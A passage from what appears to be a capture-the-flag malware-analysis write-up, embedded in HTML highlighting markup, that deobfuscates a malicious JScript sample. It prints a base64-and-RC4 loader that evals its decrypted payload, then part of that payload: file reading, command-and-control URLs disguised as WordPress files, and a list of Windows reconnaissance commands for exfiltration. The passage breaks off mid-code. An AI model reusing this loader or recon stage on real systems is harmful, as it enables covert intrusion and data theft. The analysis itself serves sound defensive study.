5A/21GxotETOOqwQuMZd8i8NMJVEpVQFwTvKSgzPOl/1pbvd8lvSpKijQwOQE0/Uonfol7EkTBa03px5JrqXtpdoSlf9HQUXsBK4H24UDixCJgPX4XMOjLyx10RTaWzasmefuD0yEYBa0rdEZUt2IR0BKk4ybcXcoRhCR1mh0Eq6Omw3jvLtSXXkDkUKExlE5oFYjC+ic/Dlup6+1goHHAatH4F/j9Wh190b+JjtrXKgEbh+1jlw+opItYpkfai90O6ztO10CJuqiP77X73cFQ6t9GOo4mLpDXw7N6o37lzr4cwo/WQup9E+Rbql048E6Luf7QJWA+8hwnS9hWHwGL3RFOrok4riHRiwnbBepqhMaTqdFgjoRyoECrUzZyJ2Jzns1tJJeQO1QfQcLjw4q4cgBEIQvZYXx9kO0g3hcUM3FlE9RIwCoVRSAnmM+j4hdeO0VK8LLy5oysOuk5y0XOu338oX9VF7iThTDvhicF2EYiOy6JgYN+rCG6lC40GMMcYiZ3ymZ8mfLkTlV07ULu1cqjUA+jtGXJwnWuitXoPLF3SOBBAUQ4DOeYEGC5mgCbX03ZxhGghoQNOZOu5BLVuX30YgMvh/7KHN3TMS5EROoQPB5pVOH7z/XzdCLsGj2wTpIdPeRWqn2sCS9Goja7kA1TqF3qlo9WsbmFRtzRqN0g9pD+eVwTvARDblgAB5cviu0skulwHKldydwCDofryM1JaLZ+il2xd07lQLLaasPGvRdkn+93KEUQ0dBE500COH8YmMRt0uomM6KsEzrg4aCJU06usCRk5ckllwz2rmAFkN+KMFcuwQRdHR57Lzz6bmuFboOfaOhNH6VkBpp9Zp4c279DiKQngmug/GvegPZCg7NcSr1UOOhfLP7ZNmuT7o5VzqkqJtBUnLUyX3/3hdrMPrfsiJ36bqLk5TK4scaNUbaxaFsDM9bjxmWCjavOM46UOylM3hbxN6R50d3MHKSRunZfndpN/GV/nNSovNfQK8kT3xjUahNZTz7sWEdLoOcuYCk1H1UOB97j4r3mw7PExi8YRI9MjvsyzJQTZyrWc6R0rHbfRPHGQYlVCuqxwvAcoiTkq/Y+4M6U9FG9yxA10oQH1d7HIuM3M1EW0kPT+quYKtMS08BQLTTKZMtMkm0E=\"</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">return</span> r<span class=\"token punctuation\">}</span><span class=\"token operator\">|</span></code></pre></div>\n<p>Deobfuscation itself was straightforward, and after reformatting the code, it resulted in the following script.</p>\n<div class=\"gatsby-highlight\" data-language=\"javascript\"><pre class=\"language-javascript\"><code class=\"language-javascript\"><span class=\"token comment\">// var lVky = WScript.Arguments; //vF8rdgMHKBrvCoCp0ulm</span>\n<span class=\"token keyword\">var</span> DASz <span class=\"token operator\">=</span> <span class=\"token string\">\"vF8rdgMHKBrvCoCp0ulm\"</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> Iwlh <span class=\"token operator\">=</span> <span class=\"token function\">lyEK</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\nIwlh <span class=\"token operator\">=</span> <span class=\"token function\">JrvS</span><span class=\"token punctuation\">(</span>Iwlh<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\nIwlh <span class=\"token operator\">=</span> <span class=\"token function\">xR68</span><span class=\"token punctuation\">(</span>DASz<span class=\"token punctuation\">,</span> Iwlh<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token function\">eval</span><span class=\"token punctuation\">(</span>Iwlh<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">af5Q</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">r</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> <span class=\"token keyword\">var</span> a <span class=\"token operator\">=</span> r<span class=\"token punctuation\">.</span><span class=\"token function\">charCodeAt</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>a <span class=\"token operator\">===</span> <span class=\"token number\">43</span> <span class=\"token operator\">||</span> a <span class=\"token operator\">===</span> <span class=\"token number\">45</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">return</span> <span class=\"token number\">62</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>a <span class=\"token operator\">===</span> <span class=\"token number\">47</span> <span class=\"token operator\">||</span> a <span class=\"token operator\">===</span> <span class=\"token number\">95</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">return</span> <span class=\"token number\">63</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>a <span class=\"token operator\">&lt;</span> <span class=\"token number\">48</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">return</span> <span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>a <span class=\"token operator\">&lt;</span> <span class=\"token number\">48</span> <span class=\"token operator\">+</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">return</span> a <span class=\"token operator\">-</span> <span class=\"token number\">48</span> <span class=\"token operator\">+</span> <span class=\"token number\">26</span> <span class=\"token operator\">+</span> <span class=\"token number\">26</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>a <span class=\"token operator\">&lt;</span> <span class=\"token number\">65</span> <span class=\"token operator\">+</span> <span class=\"token number\">26</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">return</span> a <span class=\"token operator\">-</span> <span class=\"token number\">65</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>a <span class=\"token operator\">&lt;</span> <span class=\"token number\">97</span> <span class=\"token operator\">+</span> <span class=\"token number\">26</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">return</span> a <span class=\"token operator\">-</span> <span class=\"token number\">97</span> <span class=\"token operator\">+</span> <span class=\"token number\">26</span> <span class=\"token punctuation\">}</span> \n\n<span class=\"token keyword\">function</span> <span class=\"token function\">JrvS</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">r</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> <span class=\"token keyword\">var</span> a <span class=\"token operator\">=</span> <span class=\"token string\">\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> t<span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> l<span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> h<span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">.</span>length <span class=\"token operator\">%</span> <span class=\"token number\">4</span> <span class=\"token operator\">></span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">return</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> u <span class=\"token operator\">=</span> r<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> g <span class=\"token operator\">=</span> r<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span class=\"token punctuation\">(</span>u <span class=\"token operator\">-</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">===</span> <span class=\"token string\">\"=\"</span> <span class=\"token operator\">?</span> <span class=\"token number\">2</span> <span class=\"token operator\">:</span> r<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span class=\"token punctuation\">(</span>u <span class=\"token operator\">-</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">===</span> <span class=\"token string\">\"=\"</span> <span class=\"token operator\">?</span> <span class=\"token number\">1</span> <span class=\"token operator\">:</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> n <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Array</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">.</span>length <span class=\"token operator\">*</span> <span class=\"token number\">3</span> <span class=\"token operator\">/</span> <span class=\"token number\">4</span> <span class=\"token operator\">-</span> g<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> i <span class=\"token operator\">=</span> g <span class=\"token operator\">></span> <span class=\"token number\">0</span> <span class=\"token operator\">?</span> r<span class=\"token punctuation\">.</span>length <span class=\"token operator\">-</span> <span class=\"token number\">4</span> <span class=\"token operator\">:</span> r<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> z <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">b</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">r</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> n<span class=\"token punctuation\">[</span>z<span class=\"token operator\">++</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> r <span class=\"token punctuation\">}</span> <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span>t <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> l <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\nt <span class=\"token operator\">&lt;</span> i<span class=\"token punctuation\">;</span>\nt <span class=\"token operator\">+=</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> l <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> h <span class=\"token operator\">=</span> <span class=\"token function\">af5Q</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span class=\"token punctuation\">(</span>t<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">18</span> <span class=\"token operator\">|</span> <span class=\"token function\">af5Q</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span class=\"token punctuation\">(</span>t <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">12</span> <span class=\"token operator\">|</span> <span class=\"token function\">af5Q</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span class=\"token punctuation\">(</span>t <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">6</span> <span class=\"token operator\">|</span> <span class=\"token function\">af5Q</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span class=\"token punctuation\">(</span>t <span class=\"token operator\">+</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">b</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>h <span class=\"token operator\">&amp;</span> <span class=\"token number\">16711680</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">b</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>h <span class=\"token operator\">&amp;</span> <span class=\"token number\">65280</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">b</span><span class=\"token punctuation\">(</span>h <span class=\"token operator\">&amp;</span> <span class=\"token number\">255</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">}</span> <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>g <span class=\"token operator\">===</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> h <span class=\"token operator\">=</span> <span class=\"token function\">af5Q</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span class=\"token punctuation\">(</span>t<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span> <span class=\"token operator\">|</span> <span class=\"token function\">af5Q</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span class=\"token punctuation\">(</span>t <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">4</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">b</span><span class=\"token punctuation\">(</span>h <span class=\"token operator\">&amp;</span> <span class=\"token number\">255</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>g <span class=\"token operator\">===</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> h <span class=\"token operator\">=</span> <span class=\"token function\">af5Q</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span class=\"token punctuation\">(</span>t<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">10</span> <span class=\"token operator\">|</span> <span class=\"token function\">af5Q</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span class=\"token punctuation\">(</span>t <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">4</span> <span class=\"token operator\">|</span> <span class=\"token function\">af5Q</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span class=\"token punctuation\">(</span>t <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">>></span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">b</span><span class=\"token punctuation\">(</span>h <span class=\"token operator\">>></span> <span class=\"token number\">8</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">255</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">b</span><span class=\"token punctuation\">(</span>h <span class=\"token operator\">&amp;</span> <span class=\"token number\">255</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">}</span> <span class=\"token keyword\">return</span> n <span class=\"token punctuation\">}</span> <span class=\"token keyword\">function</span> <span class=\"token function\">xR68</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">r<span class=\"token punctuation\">,</span> a</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> <span class=\"token keyword\">var</span> t <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> l <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> h<span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> u <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">var</span> g <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\ng <span class=\"token operator\">&lt;</span> <span class=\"token number\">256</span><span class=\"token punctuation\">;</span>\ng<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> t<span class=\"token punctuation\">[</span>g<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> g <span class=\"token punctuation\">}</span> <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">var</span> g <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\ng <span class=\"token operator\">&lt;</span> <span class=\"token number\">256</span><span class=\"token punctuation\">;</span>\ng<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> l <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>l <span class=\"token operator\">+</span> t<span class=\"token punctuation\">[</span>g<span class=\"token punctuation\">]</span> <span class=\"token operator\">+</span> r<span class=\"token punctuation\">.</span><span class=\"token function\">charCodeAt</span><span class=\"token punctuation\">(</span>g <span class=\"token operator\">%</span> r<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">%</span> <span class=\"token number\">256</span><span class=\"token punctuation\">;</span>\nh <span class=\"token operator\">=</span> t<span class=\"token punctuation\">[</span>g<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\nt<span class=\"token punctuation\">[</span>g<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> t<span class=\"token punctuation\">[</span>l<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\nt<span class=\"token punctuation\">[</span>l<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> h <span class=\"token punctuation\">}</span> <span class=\"token keyword\">var</span> g <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> l <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">var</span> n <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\nn <span class=\"token operator\">&lt;</span> a<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">;</span>\nn<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> g <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>g <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">%</span> <span class=\"token number\">256</span><span class=\"token punctuation\">;</span>\nl <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>l <span class=\"token operator\">+</span> t<span class=\"token punctuation\">[</span>g<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">%</span> <span class=\"token number\">256</span><span class=\"token punctuation\">;</span>\nh <span class=\"token operator\">=</span> t<span class=\"token punctuation\">[</span>g<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\nt<span class=\"token punctuation\">[</span>g<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> t<span class=\"token punctuation\">[</span>l<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\nt<span class=\"token punctuation\">[</span>l<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> h<span class=\"token punctuation\">;</span>\nu <span class=\"token operator\">+=</span> String<span class=\"token punctuation\">.</span><span class=\"token function\">fromCharCode</span><span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">[</span>n<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> t<span class=\"token punctuation\">[</span><span class=\"token punctuation\">(</span>t<span class=\"token punctuation\">[</span>g<span class=\"token punctuation\">]</span> <span class=\"token operator\">+</span> t<span class=\"token punctuation\">[</span>l<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">%</span> <span class=\"token number\">256</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">}</span> <span class=\"token keyword\">return</span> u <span class=\"token punctuation\">}</span> \n\n<span class=\"token keyword\">function</span> <span class=\"token function\">lyEK</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> <span class=\"token keyword\">var</span> r <span class=\"token operator\">=</span> <span class=\"token string\">\"省略\"</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">return</span> r <span class=\"token punctuation\">}</span>\n\nBy executing <span class=\"token keyword\">this</span> code appropriately<span class=\"token punctuation\">,</span> the following <span class=\"token keyword\">new</span> <span class=\"token class-name\">payload</span> <span class=\"token keyword\">for</span> data exfiltration can be obtained<span class=\"token punctuation\">.</span>\n\n<span class=\"token template-string\"><span class=\"token template-punctuation string\">`</span><span class=\"token template-punctuation string\">`</span></span>` javascript\n<span class=\"token keyword\">function</span> <span class=\"token constant\">S7EN</span><span class=\"token punctuation\">(</span><span class=\"token parameter\"><span class=\"token constant\">KL3M</span></span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">var</span> gfjd <span class=\"token operator\">=</span> WScript<span class=\"token punctuation\">.</span><span class=\"token function\">CreateObject</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"ADODB.Stream\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    gfjd<span class=\"token punctuation\">.</span>Type <span class=\"token operator\">=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    gfjd<span class=\"token punctuation\">.</span>CharSet <span class=\"token operator\">=</span> <span class=\"token string\">\"437\"</span><span class=\"token punctuation\">;</span>\n    gfjd<span class=\"token punctuation\">.</span><span class=\"token function\">Open</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    gfjd<span class=\"token punctuation\">.</span><span class=\"token function\">LoadFromFile</span><span class=\"token punctuation\">(</span><span class=\"token constant\">KL3M</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">var</span> j3k6 <span class=\"token operator\">=</span> gfjd<span class=\"token punctuation\">.</span>ReadText<span class=\"token punctuation\">;</span>\n    gfjd<span class=\"token punctuation\">.</span><span class=\"token function\">Close</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> <span class=\"token function\">l9BJ</span><span class=\"token punctuation\">(</span>j3k6<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">var</span> WQuh <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Array</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"http://challenge.htb/wp-includes/pomo/db.php\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"http://challenge.htb/wp-admin/includes/class-wp-upload-plugins-list-table.php\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> zIRF <span class=\"token operator\">=</span> <span class=\"token string\">\"KRMLT0G3PHdYjnEm\"</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> LwHA <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Array</span><span class=\"token punctuation\">(</span>\n    <span class=\"token string\">\"systeminfo > \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"net view >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"net view /domain >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"tasklist /v >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"gpresult /z >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"netstat -nao >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"ipconfig /all >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"arp -a >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"net share >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"net use >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"net user >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"net user administrator >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"net user /domain >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"net user administrator /domain >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"set  >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"dir %systemdrive%\\\\\\\\Users\\\\\\\\*.* >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"dir %userprofile%\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Recent\\\\\\\\*.* >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"dir %userprofile%\\\\\\\\Desktop\\\\\\\\*.* >> \"</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">'tasklist /fi \"modules eq wow64.dll\"  >> '</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">'tasklist /fi \"modules ne wow64.dll\" >> '</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">'dir \"%programfiles(x86)%\" >> '</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">'dir \"%programfiles%\" >> '</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">\"dir %appdata% >>\"</span>\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">var</span> <span class=\"token constant\">Z6HQ</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">ActiveXObject</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Scripting.FileSystemObject\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> EBKd <span class=\"token operator\">=</span> WScript<span class=\"token punctuation\">.</span>ScriptName<span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> Vxiu <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> lDd9 <span class=\"token operator\">=</span> <span class=\"token function\">a0rV</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">DGbq</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">xxNA<span class=\"token punctuation\">,</span> j5zO</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    char_set <span class=\"token operator\">=</span> <span class=\"token string\">\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">var</span> bzwO <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">var</span> sW_c <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">var</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> xxNA<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">;</span> <span class=\"token operator\">++</span>i<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">var</span> W0Ce <span class=\"token operator\">=</span> xxNA<span class=\"token punctuation\">.</span><span class=\"token function\">charCodeAt</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">var</span> o_Nk <span class=\"token operator\">=</span> W0Ce<span class=\"token punctuation\">.</span><span class=\"token function\">toString</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>o_Nk<span class=\"token punctuation\">.</span>length <span class=\"token operator\">&lt;</span> <span class=\"token punctuation\">(</span>j5zO <span class=\"token operator\">?</span> <span class=\"token number\">8</span> <span class=\"token operator\">:</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> o_Nk <span class=\"token operator\">=</span> <span class=\"token string\">\"0\"</span> <span class=\"token operator\">+</span> o_Nk<span class=\"token punctuation\">;</span>\n        sW_c <span class=\"token operator\">+=</span> o_Nk<span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>sW_c<span class=\"token punctuation\">.</span>length <span class=\"token operator\">>=</span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token keyword\">var</span> AaP0 <span class=\"token operator\">=</span> sW_c<span class=\"token punctuation\">.</span><span class=\"token function\">slice</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            sW_c <span class=\"token operator\">=</span> sW_c<span class=\"token punctuation\">.</span><span class=\"token function\">slice</span><span class=\"token punctuation\">(</span><span class=\"token number\">6</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            bzwO <span class=\"token operator\">+=</span> 